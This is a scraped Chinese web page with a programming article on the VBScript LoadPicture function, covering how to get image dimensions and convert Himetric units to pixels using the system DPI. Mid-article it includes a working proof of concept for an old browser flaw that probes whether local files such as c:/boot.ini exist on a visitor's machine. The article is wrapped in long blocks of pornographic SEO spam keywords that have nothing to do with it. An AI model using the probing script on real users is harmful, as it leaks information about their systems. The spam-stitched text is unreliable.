亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > VBScript > 正文

vbscript LoadPicture函數(shù)使用方法與漏洞利用

2020-07-26 11:54:49
字體:
來源:轉載
供稿:網(wǎng)友

復制代碼 代碼如下:

<title>LoadPicture函數(shù)</title>
<form name="frm">
選擇圖片<input type="file" name="pic" onChange="GetPicInfor()" >
</form>
<script language="vbscript">

Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) '26.4583是像素值
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write "你選擇了圖片"&picpath
document.write "<li>長度:"&iHeight&"</li>"
document.write "<li>寬度:"&iwidth&"</li>"
document.write "<li>類型:"&pictype&"</li>"
End Sub
</script>


不過這個函數(shù)有個漏洞,可以探測電腦上存在的文件名。2004年的漏洞,微軟現(xiàn)在也沒補,示例:

復制代碼 代碼如下:

<form onsubmit="doIt(this);return false">
<input name="filename" value="c:/boot.ini" size="80" type="text"><input type="submit">
</form>
<script language="vbscript">
Sub loadIt(filename)
LoadPicture(filename)
End Sub
</script>
<script language="javascript">
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>


這段代碼中有一個“魔法數(shù)字(Magic Number)”26.4583,曾經(jīng)有位昵稱是“亂碼”的朋友問過我這個26.4583是怎么來的,當時我也不知道。

前段時間逆向分析了一下vbscript.dll,才發(fā)現(xiàn)了其中的奧秘:
復制代碼 代碼如下:

26.4583 = 2540 / 96

那你一定要問,這個2540和96又是怎么來的?

要弄清楚這個問題,首先要知道VBS的LoadPicture函數(shù)返回的到底是什么,VBS文檔是這么描述LoadPicture函數(shù)的:

Returns a picture object. Available only on 32-bit platforms.

只說返回圖片對象,卻沒說該圖片對象有什么屬性和方法。文檔語焉不詳,只好動用OllyDbg了:



LoadPicture函數(shù)內部調用了OleLoadPicture函數(shù),查文檔可知返回的是IPictureDisp接口。不過后來我發(fā)現(xiàn)了更簡單的方法,那就是查VB的函數(shù)聲明(誰讓它們是一家人呢),在VB的對象瀏覽器中查找LoadPicture函數(shù):

Function LoadPicture([FileName], [Size], [ColorDepth], [X], [Y]) As IPictureDisp雖然VBS的LoadPicture函數(shù)比VB的簡單,但是返回值應該是一樣的。

好了,知道返回的是IPictureDisp接口,文檔說它支持下面的屬性:

PropertyTypeAccessDescription
HandleOLE_HANDLE (int) RThe Windows GDI handle of the picture
hPalOLE_HANDLE (int) RWThe Windows handle of the palette used by the picture.
TypeshortRThe type of picture (see PICTYPE).
WidthOLE_XSIZE_HIMETRIC (long) RThe width of the picture.
HeightOLE_YSIZE_HIMETRIC (long) RThe height of the picture.

我們只關心Width和Height,它們分別表示圖片的寬和高,但是它們的單位不是像素(Pixel),而是Himetric,我們要做的是把Himetric換算成Pixel。

首先把Himetric換算成英寸(Inch),1 Himetric = 0.01 mm,1 Inch = 2.54 cm,所以1 Inch = 2540 Himetric。

然后從Inch換算成Pixel,1 Inch等于多少Pixel呢?這是由系統(tǒng)的DPI(Dot Per Inch)設置決定的,默認值是96。

現(xiàn)在知道2540和96是怎么來的了吧?不過上面的代碼存在兩個問題:第一,使用了2540/96的近似值,可能會有誤差;第二,使用了DPI的默認值96,而DPI的值是可以在控制面板中修改的。

VBS中LoadPicture函數(shù)的正確用法是:

復制代碼 代碼如下:

Option Explicit

'By Demon
Dim p
Set p = LoadPicture("D:/test.jpg")
WScript.Echo "Width: " & Himetric2Pixel(p.Width)
WScript.Echo "Height: " & Himetric2Pixel(p.Height)

Function Himetric2Pixel(n)
'1 Inch = 2540 Himetric
Const key = "HKEY_CURRENT_USER/Control Panel/Desktop/WindowMetrics/AppliedDPI"
Dim WshShell, dpi
Set WshShell = WScript.CreateObject("Wscript.Shell")
dpi = WshShell.RegRead(key)
Himetric2Pixel = Round(n * dpi / 2540)
End Function


Windows 7下通過測試,其他系統(tǒng)中獲取DPI的方法可能會不同,請自行修改。

上面修正的內容來自: http://demon.tw/programming/vbs-loadpicture.html 

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
激情视频国产| 少妇极品熟妇人妻无码| 亚洲蜜臀av乱码久久精品蜜桃| 欧美日韩亚洲精品内裤| 色婷婷综合中文久久一本| 精品国产乱码久久久久久闺蜜| 欧美日韩视频一区二区| 国产成人亚洲精品无码h在线| 51午夜精品| 亚洲欧美另类综合偷拍| 深田えいみ中文字幕99久久| 国产极品美女到高潮| 精品成人av一区二区在线播放| av亚洲精华国产精华精| 亚洲成av人片一区二区三区| 亚洲女女做受ⅹxx高潮| 国产精品日韩电影| 自拍偷拍欧美日韩| av大片在线播放| 91社区视频在线观看| 免费人成精品欧美精品| 美日韩一区二区三区| 欧美成人hd| 亚洲熟妇无码乱子av电影| 亚洲精品成av人片天堂无码| 亚洲二区在线播放视频| 中文在线资源天堂| 丰满人妻一区二区三区53视频| 成人在线视频首页| 久久一区二区三区四区| 黄色欧美网站| 精品无人区无码乱码毛片国产| 午夜激情视频在线观看| 国产精品免费无遮挡无码永久视频| 亚洲欧洲色图综合| 久久久久亚洲av无码麻豆| 日本精品一二三区| 色婷婷av一区| 欧美日韩中文在线| 亚洲精品一线二线三线无人区| 岛国毛片av在线| 无国产精品白浆免费视| 日本精品入口免费视频| 国产日本精品视频| 午夜剧场高清版免费观看| 国产精品亚洲综合久久| 日韩国产欧美三级| 黄色美女视频在线观看| 欧美日本在线看| 欧美主播一区二区三区| 国产羞羞视频在线播放| 蜜桃传媒一区二区亚洲av| 一本久久知道综合久久| 超碰91在线播放| 884aa四虎影成人精品一区| 特级西西444www大精品视频免费看| 国产女人18毛片| 激情五月婷婷综合| 国产在线一区二区三区欧美| 亚洲人体在线| 国产精品久久久久aaaa樱花| av在线不卡精品| 亚洲精品电影在线| 26uuu欧美日本| 农村妇女精品一二区| 911国产在线| 亚洲欧洲国产综合| 精品一区二区三区在线播放视频| 45www国产精品网站| 欧美亚洲高清一区二区三区不卡| 亚洲美女免费视频| 欧美精品一区二区性色a+v| 天天色天天爽| 涩涩涩在线视频| 欧美一区二区视频在线观看2022| 欧美在线一级视频| 成人久久久久久| 一区二区三区欧美在线观看| 九色在线观看视频| 成人av影视在线| 91精品国产777在线观看| 大桥未久一区二区| 亚洲欧美日韩一区二区在线| 欧美aaa在线| 亚洲国产精品成人久久综合一区| 亚洲高清免费在线观看| 依依综合在线| 蜜桃av噜噜一区二区三区小说| 国产精品视频yy9299一区| 日本一区二区动态图| 97精品人妻一区二区三区蜜桃| 性猛交娇小69hd| 殴美一级特黄aaaaaa| 亚洲图片你懂的| 日本五十路在线| 视频在线观看91| 国产在线黄色片| 成人综合专区| 午夜精品久久久久久久男人的天堂| 日韩激情图片| 亚洲自拍av在线| 色青青草原桃花久久综合| 一本大道一区二区三区| 国产成人精品18| 精品国产一区二区三区久久久久久| 六月婷婷一区| 草民午夜欧美限制a级福利片| 亚洲香蕉在线观看| 欧美日韩精品不卡| 色系列之999| 亚洲在线一区| 欧美大片va欧美在线播放| 亚洲aaa精品| 亚洲视频免费一区| 伊人影院蕉久影院在线播放| 在线成人免费av| 国产很黄免费观看久久| 91精品国产乱码久久久| 污网站在线免费看| 欧美群妇大交群中文字幕| 91欧美激情另类亚洲| 国产精品污www在线观看| 韩日一区二区三区| 久久久久久久久电影| 国产成人精品久久二区二区91| 国产精品久久久久9999赢消| 91官网在线观看| 桃花网日韩影视在线观看视频| 国产精品一区二区免费看| www.香蕉视频在线观看| 国产高清在线免费观看| 成人女同在线观看| 国产不卡精品视频| 可骚可骚的黄视频网站| 深夜福利视频在线观看| 2018日韩中文字幕| 亚洲一区二区在线视频观看| 少妇视频一区| 国产情侣激情自拍| 亚洲午夜伦理| 潘金莲一级淫片aaaaa免费看| 日韩欧美一二三四区| 亚洲国产黄色片| 欧美黄色大片网站| 久久久久久无码午夜精品直播| 亚洲天堂视频网站| 一级片一区二区三区| 国产白浆在线观看| 99九九热只有国产精品| 五十路亲子中出中文字幕| 中文字幕欧美激情| 欧美日韩福利视频| 无码熟妇人妻av| 免费在线观看一区二区三区| www欧美在线| 91伦理视频在线观看| 欧美一级片黄色| 欧日韩在线观看| 黄色电影网站在线观看| 亚洲午夜精品在线观看| 日本www高清视频| 国产高清精品软男同| 97福利网站在线观看视频| 波多野结衣家庭主妇| 色婷婷精品久久二区二区蜜臀av| 欧美成人综合一区| 亚洲天堂av图片| 欧美成人精品激情在线视频| 九九热爱视频精品视频| 97人妻精品一区二区三区软件| 成人av在线资源| 奇米影视亚洲色图| 日日干夜夜骑| 色戒在线免费观看| 三级在线看中文字幕完整版| 欧美成人亚洲高清在线观看| 亚洲午夜在线观看视频在线| 久久中文字幕一区二区三区| 精品二区在线观看| 日韩电影免费观看在| 国产一区二区三区免费| xxxx性欧美黑人| 999大胆视频| 国产综合精品| 亚洲国产欧美一区二区三区不卡| 亚洲国内精品| 亚洲av成人无码一二三在线观看| 69视频在线播放| 欧美男人的天堂| 亚洲精品在线一区二区| 欧美色第一页| 日本一区二区三区在线免费观看| 人善交vide欧美| 国产乱子伦农村叉叉叉| 最近最新中文字幕在线| 91精品国产综合久久香蕉麻豆| 亚洲一区二区在线观| 成人一级片网站| 美女av一区二区三区| 大香伊人久久精品一区二区| 国产男女猛烈无遮挡| 成人观看高清在线观看免费| 国产不卡av在线免费观看| 爱福利视频一区| 在线免费日韩| 日韩欧美亚洲另类| 成人综合影院| jizz在线观看视频| 最新真实国产在线视频| 91女人18毛片水多国产| 国产xxxxxx| 久中文字幕一区| 成人黄色a**站在线观看| 日韩免费视频在线观看| 成人av电影在线| 国产黄色精品视频| 精品国产乱码久久| 伊人久久男人天堂| 任你操视频在线观看| 老司机免费在线视频| 精品一区电影国产| 日日欢夜夜爽一区| 神马欧美一区二区| 日韩综合中文字幕| 91精品产国品一二三产区| 亚洲开发第一视频在线播放| 国产无遮挡又黄又爽在线观看| 国产97免费视| 中文字幕剧情在线观看| 91精品国产综合久久精品app| 欧美一区二区三区四| 成人羞羞网站入口免费| 亚洲 小说区 图片区| 久久久久久久久久成人| 日本不卡在线播放| 国产欧美午夜| 男的插女的下面视频| 91免费黄视频| 国产欧美精品日韩区二区麻豆天美| 欧美色欧美亚洲另类二区| 国产成人av一区| 亚洲国产福利| 国产伊人久久| 中文字幕理论片| 97偷自拍亚洲综合二区| 成人免费在线看片| 久久综合九色综合久| 国产成人免费| 中文字幕欧美日本乱码一线二线| 亚洲欧美偷拍另类| 欧美精品电影| 国产精品久久久毛片| 一级特黄色大片| mm131亚洲精品| 亚洲一区二区三区sesese| 国产精品久久久久9999吃药| 国产超级av在线| 国产极品999| 佐山爱痴汉视频一区二区三区| 久久久久久美女精品| 免费日韩成人| 亚洲男同性视频| 亚洲欧美一区二区激情| jizz在线免费观看| 91精品国产自产在线| 亚洲伊人伊色伊影伊综合网| 成人欧美一区二区三区黑人麻豆| www.天堂av.com| 国产精品久久久毛片| 美腿丝袜一区二区三区| 4438欧美| 国内精彩免费自拍视频在线观看网址| 亚洲午夜av在线| 日本欧美一区二区三区| 99热这里只有精品7| 少妇精品一区二区三区| 国产精品永久免费视频| 日韩免费毛片视频| 天天插综合网| 欧美一级黄色片视频| 亚洲欧美精品suv| 欧美一级大胆视频| 日韩久久久精品| 免费观看一级欧美片| 欧美日韩视频一区二区三区| 亚洲一区www| 国产精品99久久久| 九色精品国产蝌蚪| 欧美精品久久一区二区三区| 久久电影网电视剧免费观看| 国产露脸无套对白在线播放| 男人的天堂免费在线视频| 91在线在线观看| 国产成人免费91av在线| 可以免费看的av毛片| 国产亚洲精aa在线看| 黄网免费入口| 欧美日韩国产乱码电影| av在线不卡免费观看| 国产二区三区在线| 香港经典三级在线| 日韩中文字幕国产精品| 中文字幕亚洲无线码a| 天堂中文在线视频| 青青草成人免费视频| 欧美精品午夜视频| 国产hs免费高清在线观看| 国产精品久久久国产盗摄| 色哟哟精品丝袜一区二区| 92国产精品| 2021亚洲天堂| 国产午夜在线视频| 欧洲毛片视频| 老司机午夜精品99久久| 欧美日韩一区二区三区免费看| 一本大道久久a久久精品| 91国产视频在线播放| japansex久久高清精品| a级大片在线观看| 日本韩国一区| 欧美天天视频| 四虎永久在线高清国产精品| 亚洲欧美综合色| 又爽又大又黄a级毛片在线视频| 国产模特av私拍大尺度| 欧美高清一级片在线观看| 岛国av在线| 成人免费网站在线看|